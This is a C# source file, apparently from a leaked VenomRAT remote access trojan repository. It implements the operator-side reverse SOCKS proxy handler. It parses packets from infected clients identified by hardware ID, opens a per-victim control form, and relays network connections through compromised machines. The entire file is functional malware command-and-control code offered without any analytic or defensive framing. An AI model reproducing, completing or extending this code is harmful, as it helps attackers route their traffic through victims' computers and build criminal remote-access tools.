VenomRat-SourceCode/Handle_Packet/HandleReverseProxy.cs
2023-07-29 23:37:10 +05:30

186 lines
4.4 KiB
C#

#define TRACE
using System;
using System.Diagnostics;
using System.Threading;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Newtonsoft.Json;
using Server.Connection;
using Server.Forms;
using Server.ReverseProxy;
namespace Server.Handle_Packet;
public class HandleReverseProxy
{
private readonly ReverseProxyServer _socksServer = new ReverseProxyServer();
public Clients CommunicationClient;
public FormReverseProxy ProxyForm
{
get
{
if (CommunicationClient == null)
{
return null;
}
string name = "Reverse Proxy : " + CommunicationClient.info.hwid;
FormReverseProxy formReverseProxy = (FormReverseProxy)Application.OpenForms[name];
if (formReverseProxy == null)
{
FormReverseProxy formReverseProxy2 = new FormReverseProxy();
formReverseProxy2.Name = name;
formReverseProxy2.Text = "Reverse Proxy for " + CommunicationClient.Ip + " (" + CommunicationClient.info.hwid + ")";
formReverseProxy = formReverseProxy2;
}
return formReverseProxy;
}
}
public void StartReverseProxyServer(ushort port)
{
_socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
_socksServer.OnUpdateConnection += socksServer_onUpdateConnection;
_socksServer.StartServer(CommunicationClient, port);
}
public void StopReverseProxyServer()
{
_socksServer.Stop();
_socksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished;
_socksServer.OnUpdateConnection -= socksServer_onUpdateConnection;
}
private void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient)
{
if (ProxyForm == null)
{
return;
}
new Thread((ThreadStart)delegate
{
Program.mainform.Invoke((MethodInvoker)delegate
{
ProxyForm.OnReport(_socksServer.OpenConnections);
});
}).Start();
}
private void socksServer_onUpdateConnection(ReverseProxyClient proxyClient)
{
if (ProxyForm == null)
{
return;
}
new Thread((ThreadStart)delegate
{
Program.mainform.Invoke((MethodInvoker)delegate
{
ProxyForm.OnReport(_socksServer.OpenConnections);
});
}).Start();
}
public void Dispose()
{
Dispose(disposing: true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
StopReverseProxyServer();
}
}
public void ExitProxy()
{
try
{
CommunicationClient.Disconnected();
CommunicationClient = null;
StopReverseProxyServer();
}
catch
{
}
}
public void ConnectionEstablised(Clients client)
{
_ = "Reverse Proxy : " + client.info.hwid;
CommunicationClient = client;
Program.mainform.Invoke((MethodInvoker)delegate
{
if (ProxyForm != null)
{
ProxyForm.ShowDialog();
}
});
}
public void ConnectionResponse(ReverseProxyConnectResponse msg)
{
_socksServer.GetClientByConnectionId(msg.ConnectionId)?.HandleCommandResponse(msg);
if (msg.IsConnected)
{
Trace.WriteLine($"Server: Connected to {msg.HostName}:{msg.RemotePort}");
}
}
public void DataArrived(ReverseProxyData msg)
{
_socksServer.GetClientByConnectionId(msg.ConnectionId)?.SendToClient(msg.Data);
}
public void Disconnected(ReverseProxyDisconnect msg)
{
_socksServer.GetClientByConnectionId(msg.ConnectionId)?.Disconnect();
}
public void Execute(Clients client, MsgPack unpack_msgpack)
{
try
{
_ = unpack_msgpack.ForcePathObject("Hwid").AsString;
ReverseProxyCommands reverseProxyCommands = (ReverseProxyCommands)unpack_msgpack.ForcePathObject("type").AsInteger;
string asString = unpack_msgpack.ForcePathObject("json").AsString;
switch (reverseProxyCommands)
{
case ReverseProxyCommands.INIT:
ConnectionEstablised(client);
break;
case ReverseProxyCommands.CONNECTRESPONSE:
{
ReverseProxyConnectResponse msg3 = JsonConvert.DeserializeObject<ReverseProxyConnectResponse>(asString);
ConnectionResponse(msg3);
break;
}
case ReverseProxyCommands.DATA:
{
ReverseProxyData msg2 = JsonConvert.DeserializeObject<ReverseProxyData>(asString);
DataArrived(msg2);
break;
}
case ReverseProxyCommands.DISCONNECT:
{
ReverseProxyDisconnect msg = JsonConvert.DeserializeObject<ReverseProxyDisconnect>(asString);
Disconnected(msg);
break;
}
}
}
catch
{
}
}
public void CloseConnection(int index)
{
_socksServer.KillConnection(index);
}
}